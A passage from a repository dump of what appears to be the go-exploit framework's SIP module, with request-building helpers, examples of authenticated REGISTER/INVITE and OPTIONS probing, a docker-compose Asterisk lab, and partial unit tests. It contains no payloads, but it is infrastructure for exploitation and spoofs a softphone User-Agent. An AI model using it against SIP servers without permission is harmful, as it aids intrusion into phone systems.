REGISTER request to %s with options %+v\", host, reqOpts)\n\n\t\treturn\n\t}\n\tresp, ok := sip.SendAndReceiveUDP(conn, req)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Sending REGISTER request %s\", req.String())\n\n\t\treturn\n\t}\n\tif resp.StatusCode != sipgo.StatusUnauthorized {\n\t\toutput.PrintfFrameworkError(\"Unexpected response %d (%s) to REGISTER request\", resp.StatusCode, resp.Reason)\n\n\t\treturn\n\t}\n\twwwAuth := resp.GetHeader(\"WWW-Authenticate\")\n\tchal, err := digest.ParseChallenge(wwwAuth.Value())\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Parsing WWW-Authenticate header: %s\", err)\n\n\t\treturn\n\t}\n\tcred, _ := digest.Digest(chal, digest.Options{\n\t\tMethod:   req.Method.String(),\n\t\tURI:      host,\n\t\tUsername: fromUser,\n\t\tPassword: pass,\n\t})\n\tnewReq := req.Clone()\n\tauthHeader := sipgo.NewHeader(\"Authorization\", cred.String())\n\tnewReq.AppendHeader(authHeader)\n\tcseqHeader := sipgo.CSeqHeader{SeqNo: uint32(2), MethodName: sipgo.REGISTER}\n\tnewReq.ReplaceHeader(&cseqHeader)\n\tresp, ok = sip.SendAndReceiveUDP(conn, newReq)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Sending REGISTER request with Authorization header %s\", newReq.String())\n\n\t\treturn\n\t}\n\tif resp.StatusCode != sipgo.StatusOK {\n\t\toutput.PrintfFrameworkError(\"Unexpected response %d (%s) to REGISTER request with Authorization header\", resp.StatusCode, resp.Reason)\n\n\t\treturn\n\t}\n\treqOpts = sip.NewSipRequestOpts{\n\t\tPort:   port,\n\t\tToUser: toUser,\n\t\tUser:   fromUser,\n\t}\n\treq, ok = sip.NewSipRequest(sipgo.INVITE, host, &reqOpts)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Creating INVITE request to %s with options %+v\", host, reqOpts)\n\n\t\treturn\n\t}\n\tcred, _ = digest.Digest(chal, digest.Options{\n\t\tMethod:   sipgo.INVITE.String(),\n\t\tURI:      host,\n\t\tUsername: fromUser,\n\t\tPassword: pass,\n\t})\n\tauthHeader = sipgo.NewHeader(\"Authorization\", cred.String())\n\treq.AppendHeader(authHeader)\n\tresp, ok = sip.SendAndReceiveUDP(conn, req)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Sending INVITE request %s\", req.String())\n\n\t\treturn\n\t}\n\t// Not found is expected here, as we are not actually calling a real user.\n\tif resp.StatusCode == sipgo.StatusNotFound {\n\t\toutput.PrintfFrameworkSuccess(\"Response (INVITE): %s\", resp.String())\n\t} else {\n\t\toutput.PrintfFrameworkError(\"Unexpected response (INVITE): %s\", resp.String())\n\t}\n}\n"
  },
  {
    "path": "protocol/sip/examples/docker-compose.yml",
    "content": "name: go-exploit-examples\n\nservices:\n  asterisk:\n    image: mlan/asterisk\n    network_mode: bridge # For testing\n    cap_add:\n      - sys_ptrace # For testing\n    ports:\n      - \"5060:5060/udp\" # SIP UDP\n      - \"5060:5060\" # SIP TCP\n      - \"5061:5061\" # SIP TLS\n      - \"10000-10099:10000-10099/udp\" # RTP\n    environment:\n      - HOSTNAME=asterisk.${DOMAIN-docker.localhost}\n"
  },
  {
    "path": "protocol/sip/examples/ping/main.go",
    "content": "// This example checks if a UDP server is up.\n//\n// The OPTION method is used to discover the server capabilities:\n// - https://datatracker.ietf.org/doc/html/rfc3261#section-11\npackage main\n\nimport (\n\tsipgo \"github.com/emiago/sipgo/sip\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol/sip\"\n)\n\nconst (\n\thost = \"127.0.0.1\"\n\t// Most of the times the servers answer without them.\n\tfromUser = \"bob\"\n\ttoUser   = \"alice\"\n)\n\nfunc main() {\n\tport := sip.DefaultPorts[sip.UDP]\n\tconn, ok := protocol.UDPConnect(host, port)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Connecting to server %s:%d\", host, port)\n\n\t\treturn\n\t}\n\tdefer conn.Close()\n\treqOpts := sip.NewSipRequestOpts{\n\t\tPort:   port,\n\t\tToUser: toUser,\n\t\tUser:   fromUser,\n\t}\n\treq, ok := sip.NewSipRequest(sipgo.OPTIONS, host, &reqOpts)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Creating request to %s with options %+v\", host, reqOpts)\n\n\t\treturn\n\t}\n\tresp, ok := sip.SendAndReceiveUDP(conn, req)\n\tif ok {\n\t\toutput.PrintfFrameworkSuccess(\"Server is up, response: %s\", resp.String())\n\t} else {\n\t\toutput.PrintfFrameworkError(\"Sending request %s\", req.String())\n\t}\n}\n"
  },
  {
    "path": "protocol/sip/examples/tcp/main.go",
    "content": "// This example sends an OPTIONS request over TCP (or TLS).\npackage main\n\nimport (\n\tsipgo \"github.com/emiago/sipgo/sip\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol/sip\"\n)\n\nconst (\n\thost   = \"127.0.0.1\"\n\tuseTLS = true\n)\n\nfunc main() {\n\ttransport := sip.TCP\n\tif useTLS {\n\t\ttransport = sip.TLS\n\t}\n\tport := sip.DefaultPorts[transport]\n\tconn, ok := protocol.MixedConnect(host, port, useTLS)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Connecting to server %s:%d\", host, port)\n\n\t\treturn\n\t}\n\tdefer conn.Close()\n\treqOpts := sip.NewSipRequestOpts{\n\t\tPort:      port,\n\t\tTransport: transport,\n\t}\n\treq, ok := sip.NewSipRequest(sipgo.OPTIONS, host, &reqOpts)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Creating request to %s with options %+v\", host, reqOpts)\n\n\t\treturn\n\t}\n\tresp, ok := sip.SendAndReceiveTCP(conn, req)\n\tif ok {\n\t\toutput.PrintfFrameworkSuccess(\"Response: %s\", resp.String())\n\t} else {\n\t\toutput.PrintfFrameworkError(\"Sending request %s\", req.String())\n\t}\n}\n"
  },
  {
    "path": "protocol/sip/helper.go",
    "content": "// Package sip is a very basic (and incomplete) implementation of SIP messaging protocol.\n//\n// Based on the sipgo library, we are only adding some helpers useful in the context of exploitation.\n// For example, we prefer to avoid the complexity of concepts like transactions or dialogs.\n//\n// References:\n// - https://github.com/emiago/sipgo\n// - https://datatracker.ietf.org/doc/html/rfc3261\n// - https://datatracker.ietf.org/doc/html/rfc3311\n// - https://datatracker.ietf.org/doc/html/rfc3581\n// - https://datatracker.ietf.org/doc/html/rfc3265\n// - https://datatracker.ietf.org/doc/html/rfc7118\npackage sip\n\nimport (\n\t\"bufio\"\n\t_ \"embed\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/emiago/sipgo/sip\"\n\t\"github.com/google/uuid\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\t// SIP over UDP message size should be lower than 1300 bytes.\n\t// https://datatracker.ietf.org/doc/html/rfc3261#section-18.1.1\n\tUDPMessageLength          = 1300\n\terrMsgRequiredParam       = \"Required parameter: %s\"\n\tDefaultMaxForwards        = 70\n\tDefaultCSeq               = 1\n\tDefaultInviteContentType  = \"application/sdp\"\n\tDefaultMessageContentType = \"text/plain\"\n\tDefaultMessageBodyContent = \"Hello, this is a test message.\"\n\tDefaultInfoContentType    = \"application/dtmf-relay\"\n\tDefaultInfoBodyContent    = \"Signal=1Signal=1\\nDuration=100\"\n\tDefaultExpiresHeader      = 3600\n\tDefaultRackCSeq           = 1\n\tDefaultRackInviteCSeq     = 314159\n\tdefaultTransport          = \"UDP\"\n\tContentTypePidf           = \"application/pidf+xml\"\n\t// Even though the specification requires \"\\r\\n\", it is common to see\n\t// implementations using \"\\n\" as a line ending.\n\t// https://datatracker.ietf.org/doc/html/rfc3261#section-7.5\n\tsipLineEnd    = \"\\r\\n\"\n\tsipLineEndAlt = \"\\n\"\n)\n\n// GlobalUA is the default User-Agent for all SIP go-exploit comms.\n//\n//go:embed user-agent.txt\nvar GlobalUA string\n\n// Supported transport protocol.\ntype TransportType int\n\nconst (\n\tUNKNOWN TransportType = iota\n\tUDP\n\tTCP\n\tTLS\n\tWS\n\tWSS\n)\n\nfunc (t TransportType) String() string {\n\treturn [...]string{\"UNKNOWN\", \"UDP\", \"TCP\", \"TLS\", \"WS\", \"WSS\"}[t]\n}\n\n// Default server ports for each transport protocol.\nvar DefaultPorts = map[TransportType]int{\n\tUDP: sip.DefaultUdpPort,\n\tTCP: sip.DefaultTcpPort,\n\tTLS: sip.DefaultTlsPort,\n\tWS:  sip.DefaultWsPort,\n\tWSS: sip.DefaultWssPort,\n}\n\n// Sends a TCP/TLS message and returns the response.\nfunc SendAndReceiveTCP(conn net.Conn, req sip.Message) (*sip.Response, bool) {\n\tif conn == nil {\n\t\toutput.PrintfFrameworkError(errMsgRequiredParam, \"conn\")\n\n\t\treturn nil, false\n\t}\n\tif req == nil {\n\t\toutput.PrintfFrameworkError(errMsgRequiredParam, \"msg\")\n\n\t\treturn nil, false\n\t}\n\tok := protocol.TCPWrite(conn, []byte(req.String()))\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Writing message %s to the socket\", req.String())\n\n\t\treturn nil, false\n\t}\n\t// To discard requests coming from the server, like OPTIONS or NOTIFY.\n\tfor {\n\t\trespMsg, ok := ReadMessageTCP(conn)\n\t\tif !ok {\n\t\t\toutput.PrintfFrameworkError(\"Reading response from the socket\")\n\n\t\t\treturn nil, false\n\t\t}\n\t\tresp, ok := respMsg.(*sip.Response)\n\t\tif !ok {\n\t\t\toutput.PrintfFrameworkDebug(\"Response is not a valid: %+v\", respMsg)\n\n\t\t\tcontinue\n\t\t}\n\n\t\treturn resp, true\n\t}\n}\n\n// Returns a SIP message from a TCP connection.\nfunc ReadMessageTCP(conn net.Conn) (sip.Message, bool) {\n\treader := bufio.NewReader(conn)\n\tvar resp string\n\tvar respSb strings.Builder\n\tfor {\n\t\tline, err := reader.ReadString('\\n')\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"Reading response from the socket: %s\", err.Error())\n\n\t\t\treturn nil, false\n\t\t}\n\t\trespSb.WriteString(line)\n\t\tif line == sipLineEnd || line == sipLineEndAlt {\n\t\t\tbreak\n\t\t}\n\t}\n\tresp += respSb.String()\n\t// First message parse to get the length of the body.\n\tmsg, err := sip.ParseMessage([]byte(resp))\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Parsing response %+v: %s\", resp, err.Error())\n\n\t\treturn nil, false\n\t}\n\tbodyLen, err := strconv.ParseInt(msg.ContentLength().Value(), 10, 64)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Parsing Content-Length header: %s\", err.Error())\n\t}\n\tif bodyLen > 0 {\n\t\tbody := make([]byte, bodyLen)\n\t\tcount, err := io.ReadFull(reader, body)\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"Reading message body: %s\", err.Error())\n\n\t\t\treturn nil, false\n\t\t}\n\t\toutput.PrintfFrameworkDebug(\"Read %d bytes of body\", count)\n\t\tresp := resp + string(body)\n\t\t// Second parse, now with the body included.\n\t\tmsg, err := sip.ParseMessage([]byte(resp))\n\t\tif err != nil {\n\t\t\toutput.PrintFrameworkError(\"Parsing response %+v with body: %s\", msg, err.Error())\n\n\t\t\treturn nil, false\n\t\t}\n\t}\n\n\treturn msg, true\n}\n\n// Sends a UDP message and returns the response.\n//\n// If 'amount' is set to 0, it will use the recommended size for UDP messages (1300 bytes).\nfunc SendAndReceiveUDP(\n\tconn *net.UDPConn, req sip.Message,\n) (*sip.Response, bool) {\n\tif conn == nil {\n\t\toutput.PrintfFrameworkError(errMsgRequiredParam, \"conn\")\n\n\t\treturn nil, false\n\t}\n\tif req == nil {\n\t\toutput.PrintfFrameworkError(errMsgRequiredParam, \"req\")\n\n\t\treturn nil, false\n\t}\n\tok := protocol.UDPWrite(conn, []byte(req.String()))\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Writing message %s to the socket\", req.String())\n\n\t\treturn nil, false\n\t}\n\t// To discard requests coming from the server, like OPTIONS or NOTIFY.\n\tfor {\n\t\trespMsg, ok := ReadMessageUDP(conn)\n\t\tif !ok {\n\t\t\toutput.PrintFrameworkError(\"Reading response from the socket\")\n\n\t\t\treturn nil, false\n\t\t}\n\t\tresp, ok := respMsg.(*sip.Response)\n\t\tif !ok {\n\t\t\toutput.PrintfFrameworkDebug(\"Response is not a valid: %+v\", respMsg)\n\n\t\t\tcontinue\n\t\t}\n\n\t\treturn resp, true\n\t}\n}\n\n// Returns a SIP message from a UDP connection using the message length\n// defined in the RFC 3261.\n// https://datatracker.ietf.org/doc/html/rfc3261#section-18.1.1\nfunc ReadMessageUDP(conn *net.UDPConn) (sip.Message, bool) {\n\tresp := make([]byte, UDPMessageLength)\n\tcount, err := conn.Read(resp)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Failed to read from the socket: \" + err.Error())\n\n\t\treturn nil, false\n\t}\n\tresp = resp[:count]\n\tmsg, err := sip.ParseMessage(resp)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Parsing response %+v: %s\", resp, err.Error())\n\n\t\treturn nil, false\n\t}\n\n\treturn msg, true\n}\n\n// Returns a generic well-formed request. Useful to start the communication.\n//\n// Depending on the method (if not set in 'opts') required headers and body content\n// is automatically added.\nfunc NewSipRequest(\n\tmethod sip.RequestMethod, host string, opts *NewSipRequestOpts,\n) (*sip.Request, bool) {\n\tif method == \"\" {\n\t\toutput.PrintfFrameworkError(errMsgRequiredParam, \"method\")\n\n\t\treturn nil, false\n\t}\n\tif host == \"\" {\n\t\toutput.PrintfFrameworkError(errMsgRequiredParam, \"host\")\n\n\t\treturn nil, false\n\t}\n\tif opts == nil {\n\t\topts = &NewSipRequestOpts{}\n\t}\n\tlHost := host\n\tif opts.LocalHost != \"\" {\n\t\tlHost = opts.LocalHost\n\t}\n\tlPort := opts.Port\n\tif opts.LocalPort != 0 {\n\t\tlPort = opts.LocalPort\n\t}\n\ttoURI := sip.Uri{\n\t\tUser: opts.ToUser,\n\t\tHost: host,\n\t\tPort: opts.Port,\n\t}\n\tfromURI := sip.Uri{\n\t\tUser:     opts.User,\n\t\tPassword: opts.Password,\n\t\tHost:     lHost,\n\t\tPort:     lPort,\n\t}\n\treq := sip.NewRequest(method, toURI)\n\tif opts.Transport != 0 {\n\t\treq.SetTransport(opts.Transport.String())\n\t}\n\tcallID, err := uuid.NewRandom()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not generate UUID: %s\", err.Error())\n\n\t\treturn nil, false\n\t}\n\tcallIDHeader := sip.CallIDHeader(callID.String())\n\tviaOpts := NewViaOpts{\n\t\tHost:      lHost,\n\t\tPort:      lPort,\n\t\tTransport: req.Transport(),\n\t}\n\tviaHeader, ok := NewViaHeader(&viaOpts)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Creating Via header with options %+v\", viaOpts)\n\n\t\treturn nil, false\n\t}\n\tfromHeader := &sip.FromHeader{\n\t\tAddress: fromURI,\n\t\tParams:  map[string]string{\"tag\": sip.GenerateTagN(10)},\n\t}\n\ttoHeader := &sip.ToHeader{Address: toURI}\n\tmaxForwardsHeader := sip.MaxForwardsHeader(70)\n\treq.PrependHeader(\n\t\tviaHeader,\n\t\t&maxForwardsHeader,\n\t\tfromHeader,\n\t\ttoHeader,\n\t\t&callIDHeader,\n\t\t&sip.CSeqHeader{SeqNo: uint32(DefaultCSeq), MethodName: method},\n\t\tsip.NewHeader(\"User-Agent\", strings.TrimSpace(GlobalUA)),\n\t)\n\tif IsContactRequired(method) {\n\t\treq.AppendHeader(&sip.ContactHeader{\n\t\t\tAddress: fromURI,\n\t\t\tParams:  sip.HeaderParams{\"transport\": req.Transport()},\n\t\t})\n\t}\n\tAddMethodHeaders(req, method)\n\tbody, contentType := NewRequestBody(method)\n\tbodyLen := len(body)\n\tif bodyLen > 0 {\n\t\tcontentTypeHeader := sip.ContentTypeHeader(contentType)\n\t\treq.AppendHeader(&contentTypeHeader)\n\t\treq.SetBody([]byte(body))\n\t\t// The Content-Length header is automatically added by sipgo.\n\t} else {\n\t\tcontentLengthHeader := sip.ContentLengthHeader(0)\n\t\treq.AppendHeader(&contentLengthHeader)\n\t}\n\n\treturn req, true\n}\n\n// Optional parameters to create a request.\ntype NewSipRequestOpts struct {\n\t// Default: 0. The host could be a domain name.\n\tPort int\n\t// Default: 'host' function parameter.\n\tLocalHost string\n\t// Default: 'Port' property.\n\tLocalPort int\n\t// Default: No user set in the request (Via and To headers).\n\tToUser string\n\t// Default: No user set in the request (From header).\n\tUser string\n\t// Default: No password set in the request (From header).\n\tPassword string\n\t// Default: UDP.\n\tTransport TransportType\n}\n\n// Returns a 'Via' header for a SIP request.\nfunc NewViaHeader(opts *NewViaOpts) (*sip.ViaHeader, bool) {\n\thost := \"localhost\"\n\ttransport := defaultTransport\n\tprotocolName := \"SIP\"\n\tprotocolVersion := \"2.0\"\n\tif opts == nil {\n\t\topts = &NewViaOpts{}\n\t}\n\tif opts.ProtocolName != \"\" {\n\t\tprotocolName = opts.ProtocolName\n\t}\n\tif opts.ProtocolVersion != \"\" {\n\t\tprotocolVersion = opts.ProtocolVersion\n\t}\n\tif opts.Transport != \"\" {\n\t\ttransport = opts.Transport\n\t}\n\tif opts.Host != \"\" {\n\t\thost = opts.Host\n\t}\n\n\t// Port could be zero. For example if host is a domain name.\n\treturn &sip.ViaHeader{\n\t\tProtocolName:    protocolName,\n\t\tProtocolVersion: protocolVersion,\n\t\tTransport:       transport,\n\t\tHost:            host,\n\t\tPort:            opts.Port,\n\t\tParams: sip.HeaderParams{\n\t\t\t\"branch\": sip.GenerateBranchN(16),\n\t\t\t\"rport\":  \"\",\n\t\t},\n\t}, true\n}\n\n// Optional parameters to create a Via header.\ntype NewViaOpts struct {\n\t// Default: \"SIP\"\n\tProtocolName string\n\t// Default: \"2.0\"\n\tProtocolVersion string\n\t// Default: \"UDP\"\n\tTransport string\n\t// Default: \"localhost\"\n\tHost string\n\t// Default: 0\n\tPort int\n}\n\n// Checks if contact header is required for a method.\nfunc IsContactRequired(method sip.RequestMethod) bool {\n\tswitch method {\n\tcase sip.REGISTER, sip.INVITE, sip.SUBSCRIBE, sip.REFER, sip.PUBLISH, sip.NOTIFY:\n\n\t\treturn true\n\tcase sip.ACK, sip.CANCEL, sip.BYE, sip.OPTIONS, sip.INFO, sip.PRACK, sip.UPDATE, sip.MESSAGE:\n\n\t\treturn false\n\tdefault:\n\n\t\treturn false\n\t}\n}\n\n// Adds generic method-specific headers to a request.\n//\n// INVITE and MESSAGE ones are handled in the function 'NewRequestBody'.\nfunc AddMethodHeaders(req *sip.Request, method sip.RequestMethod) bool {\n\tif req == nil {\n\t\toutput.PrintFrameworkError(errMsgRequiredParam, \"param\", \"req\")\n\n\t\treturn false\n\t}\n\tswitch method {\n\tcase sip.OPTIONS:\n\t\treq.AppendHeader(sip.NewHeader(\"Accept\", \"application/sdp\"))\n\tcase sip.REGISTER:\n\t\treq.AppendHeader(sip.NewHeader(\"Expires\", strconv.Itoa(DefaultExpiresHeader)))\n\tcase sip.PRACK:\n\t\treq.AppendHeader(sip.NewHeader(\"RAck\", fmt.Sprintf(\"%d %d INVITE\", DefaultRackCSeq, DefaultRackInviteCSeq)))\n\tcase sip.SUBSCRIBE:\n\t\treq.AppendHeader(sip.NewHeader(\"Event\", \"presence\"))\n\t\treq.AppendHeader(sip.NewHeader(\"Accept\", ContentTypePidf))\n\t\treq.AppendHeader(sip.NewHeader(\"Supported\", \"eventlist\"))\n\tcase sip.NOTIFY:\n\t\treq.AppendHeader(sip.NewHeader(\"Subscription-State\", \"active;expires=3500\"))\n\t\treq.AppendHeader(sip.NewHeader(\"Event\", \"presence\"))\n\tcase sip.REFER:\n\t\tif req.CallID() == nil {\n\t\t\toutput.PrintFrameworkError(\"CallID header is required for REFER\")\n\n\t\t\treturn false\n\t\t}\n\t\treq.AppendHeader(&sip.ReferToHeader{\n\t\t\tAddress: sip.Uri{\n\t\t\t\tHost: req.Recipient.Host,\n\t\t\t\tPort: req.Recipient.Port,\n\t\t\t\tUser: \"carol\",\n\t\t\t\tUriParams: sip.HeaderParams{\n\t\t\t\t\t\"Replaces\": req.CallID().Value() + `%3Bto-tag%3D54321%3Bfrom-tag%3D12345`,\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\treq.AppendHeader(sip.NewHeader(\"Refer-Sub\", \"true\"))\n\t\treq.AppendHeader(sip.NewHeader(\"Supported\", \"replaces\"))\n\tcase sip.PUBLISH:\n\t\treq.AppendHeader(sip.NewHeader(\"Expires\", strconv.Itoa(DefaultExpiresHeader)))\n\t\treq.AppendHeader(sip.NewHeader(\"Event\", \"presence\"))\n\tcase sip.INVITE, sip.ACK, sip.CANCEL, sip.BYE, sip.INFO, sip.MESSAGE, sip.UPDATE:\n\t}\n\n\treturn true\n}\n\n// Returns a valid body and content type header for the given method.\nfunc NewRequestBody(method sip.RequestMethod) (string, string) {\n\tswitch method {\n\tcase sip.INVITE:\n\t\treturn NewDefaultInviteBody(\"\", \"\", \"\"), DefaultInviteContentType\n\tcase sip.MESSAGE:\n\t\treturn DefaultMessageBodyContent, DefaultMessageContentType\n\tcase sip.INFO:\n\t\treturn DefaultInfoBodyContent, DefaultInfoContentType\n\tcase sip.PUBLISH:\n\t\treturn NewDefaultPublishBody(\"\", \"\", \"\"), ContentTypePidf\n\tcase sip.NOTIFY:\n\t\treturn NewDefaultNotifyBody(\"\", \"\", \"\", \"\"), ContentTypePidf\n\tcase sip.ACK, sip.CANCEL, sip.BYE, sip.REGISTER, sip.OPTIONS, sip.SUBSCRIBE, sip.REFER, sip.PRACK, sip.UPDATE:\n\n\t\treturn \"\", \"\"\n\t}\n\n\treturn \"\", \"\"\n}\n\n// Returns a default body for an INVITE request.\n//\n// Default parameters:\n// - host: \"randomIPv4()\".\n// - sessid: random digits.\n// - sessver: random digits.\nfunc NewDefaultInviteBody(host, sessid, sessver string) string {\n\tif host == \"\" {\n\t\thost = random.RandIPv4().String()\n\t}\n\tif sessid == \"\" {\n\t\tsessid = random.RandDigits(6)\n\t}\n\tif sessver == \"\" {\n\t\tsessver = random.RandDigits(6)\n\t}\n\n\treturn fmt.Sprintf(`v=0\no=caller %s %s IN IP4 %s\ns=-\nc=IN IP4 %s\nt=0 0\nm=audio 5004 RTP/AVP 0\na=rtpmap:0 PCMU/8000`, sessid, sessver, host, host)\n}\n\n// Returns a default body for a PUBLISH request.\n//\n// Default parameters:\n// - id: random letters.\n// - status: \"open\".\n// - entity: \"sip:bob@randomIPv4():5060\".\nfunc NewDefaultPublishBody(id, status, entity string) string {\n\tif id == \"\" {\n\t\tid = random.RandLetters(6)\n\t}\n\tif status == \"\" {\n\t\tstatus = \"open\"\n\t}\n\tif entity == \"\" {\n\t\tentity = fmt.Sprintf(\"sip:bob@%s:5060\", random.RandIPv4())\n\t}\n\n\treturn fmt.Sprintf(`<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<presence xmlns=\"urn:ietf:params:xml:ns:pidf\"\n\t\t\t\t\tentity=\"%s\">\n\t<tuple id=\"%s\">\n\t\t<status>\n\t\t\t<basic>%s</basic>\n\t\t</status>\n\t</tuple>\n</presence>`, entity, id, status)\n}\n\n// Returns a default body for a NOTIFY request.\n//\n// Default parameters:\n// - id: random letters.\n// - status: \"open\".\n// - contact: \"sip:bob@randomIPv4():5060\".\n// - ts: current UTC time in RFC 3339 format.\nfunc NewDefaultNotifyBody(id, status, contact, ts string) string {\n\tif id == \"\" {\n\t\tid = random.RandLetters(6)\n\t}\n\tif status == \"\" {\n\t\tstatus = \"open\"\n\t}\n\tif contact == \"\" {\n\t\tcontact = fmt.Sprintf(\"sip:bob@%s:5060\", random.RandIPv4())\n\t}\n\tif ts == \"\" {\n\t\tts = time.Now().UTC().Format(time.RFC3339)\n\t}\n\n\treturn fmt.Sprintf(`<?xml version=\"1.0\"?>\n<presence xmlns=\"urn:ietf:params:xml:ns:pidf\">\n\t<tuple id=\"%s\">\n\t\t<status>\n\t\t\t<basic>%s</basic>\n\t\t</status>\n\t\t<contact>%s</contact>\n\t\t<timestamp>%s</timestamp>\n\t</tuple>\n</presence>`, id, status, contact, ts)\n}\n\n// Converts a string to 'TransportType'.\nfunc ParseTransport(transport string) TransportType {\n\tswitch strings.ToLower(transport) {\n\tcase \"udp\":\n\t\treturn UDP\n\tcase \"tcp\":\n\t\treturn TCP\n\tcase \"tls\":\n\t\treturn TLS\n\tdefault:\n\t\treturn UNKNOWN\n\t}\n}\n\n// Converts a string to a 'sip.RequestMethod'.\nfunc ParseMethod(method string) sip.RequestMethod {\n\tswitch strings.ToLower(method) {\n\tcase \"options\":\n\t\treturn sip.OPTIONS\n\tcase \"invite\":\n\t\treturn sip.INVITE\n\tcase \"register\":\n\t\treturn sip.REGISTER\n\tcase \"ack\":\n\t\treturn sip.ACK\n\tcase \"bye\":\n\t\treturn sip.BYE\n\tcase \"cancel\":\n\t\treturn sip.CANCEL\n\tcase \"subscribe\":\n\t\treturn sip.SUBSCRIBE\n\tcase \"notify\":\n\t\treturn sip.NOTIFY\n\tcase \"publish\":\n\t\treturn sip.PUBLISH\n\tcase \"refer\":\n\t\treturn sip.REFER\n\tcase \"info\":\n\t\treturn sip.INFO\n\tcase \"message\":\n\t\treturn sip.MESSAGE\n\tcase \"prack\":\n\t\treturn sip.PRACK\n\tcase \"update\":\n\t\treturn sip.UPDATE\n\tdefault:\n\t\treturn \"\"\n\t}\n}\n"
  },
  {
    "path": "protocol/sip/helper_test.go",
    "content": "package sip\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/emiago/sipgo/sip\"\n)\n\nconst (\n\thost                        = \"localhost\"\n\texpectedMethod              = sip.OPTIONS\n\texpectedMaxForwardsHeader   = \"Max-Forwards: 70\"\n\texpectedUserAgent           = \"Jitsi2.10.5550Mac OS X\"\n\texpectedAccept              = \"application/sdp\"\n\texpectedProtocolName        = \"SIP\"\n\texpectedProtocolVersion     = \"2.0\"\n\texpectedTransport           = defaultTransport // \"UDP\"\n\texpectedCSeqHeader          = \"CSeq: 1 OPTIONS\"\n\texpectedPresenceHeaderValue = \"presence\"\n)\n\nfunc TestNewSipRequest(t *testing.T) {\n\tt.Run(\"returns ok to false if method is zero\", func(t *testing.T) {\n\t\treq, ok := NewSipRequest(\"\", \"\", nil)\n\t\tif ok {\n\t\t\tt.Fatal(\"got true ok\")\n\t\t}\n\t\tif req != nil {\n\t\t\tt.Fatal(\"got non 'nil' request\")\n\t\t}\n\t})\n\tt.Run(\"returns ok to false if host is zero\", func(t *testing.T) {\n\t\treq, ok := NewSipRequest(sip.OPTIONS, \"\", nil)\n\t\tif ok {\n\t\t\tt.Fatal(\"got true ok\")\n\t\t}\n\t\tif req != nil {\n\t\t\tt.Fatal(\"got non 'nil' request\")\n\t\t}\n\t})\n\tt.Run(\"returns the request with default options\", func(t *testing.T) {\n\t\treq, ok := NewSipRequest(sip.OPTIONS, host, nil)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\tif req == nil {\n\t\t\tt.Fatal(\"got 'nil' request\")\n\t\t}\n\t\tif req.Method != expectedMethod {\n\t\t\tt.Fatalf(\"got method %s, want %s\", req.Method, expectedMethod)\n\t\t}\n\t\tif req.Recipient.Host != host {\n\t\t\tt.Fatalf(\"got recipient host %s, want %s\", req.Recipient.Host, host)\n\t\t}\n\t\tif req.Recipient.Port != 0 {\n\t\t\tt.Fatalf(\"got recipient port %d, want 0\", req.Recipient.Port)\n\t\t}\n\t\ttransport := req.Transport()\n\t\tif transport != \"UDP\" {\n\t\t\tt.Fatalf(\"got recipient transport %s, wants UDP\", transport)\n\t\t}\n\t\tstartLine := req.StartLine()\n\t\texpectedStartLine := \"OPTIONS sip:localhost SIP/2.0\"\n\t\tif startLine != expectedStartLine {\n\t\t\tt.Fatalf(\"got start line %s, want %s\", startLine, expectedStartLine)\n\t\t}\n\t\tif len(req.Headers()) != 9 {\n\t\t\tt.Fatalf(\"got %d headers, want 9\", len(req.Headers()))\n\t\t}\n\t\tviaHeader := req.Via()\n\t\tif viaHeader == nil {\n\t\t\tt.Fatal(\"got 'nil' Via header\")\n\t\t}\n\t\tif viaHeader.ProtocolName != expectedProtocolName {\n\t\t\tt.Fatalf(\"got protocol name %s, want %s\", viaHeader.ProtocolName, expectedProtocolName)\n\t\t}\n\t\tif viaHeader.ProtocolVersion != expectedProtocolVersion {\n\t\t\tt.Fatalf(\"got protocol version %s, want %s\", viaHeader.ProtocolVersion, expectedProtocolVersion)\n\t\t}\n\t\texpectedTransport := expectedTransport\n\t\tif viaHeader.Transport != expectedTransport {\n\t\t\tt.Fatalf(\"got transport %s, want %s\", viaHeader.Transport, expectedTransport)\n\t\t}\n\t\tif viaHeader.Host != host {\n\t\t\tt.Fatalf(\"got host %s, want %s\", viaHeader.Host, host)\n\t\t}\n\t\texpectedPort := 0\n\t\tif viaHeader.Port != expectedPort {\n\t\t\tt.Fatalf(\"got port %d, want %d\", viaHeader.Port, expectedPort)\n\t\t}\n\t\tif len(viaHeader.Params) != 2 {\n\t\t\tt.Fatalf(\"got %d parameters, want 2\", len(viaHeader.Params))\n\t\t}\n\t\tif viaHeader.Params[\"branch\"] == \"\" {\n\t\t\tt.Fatal(\"got zero 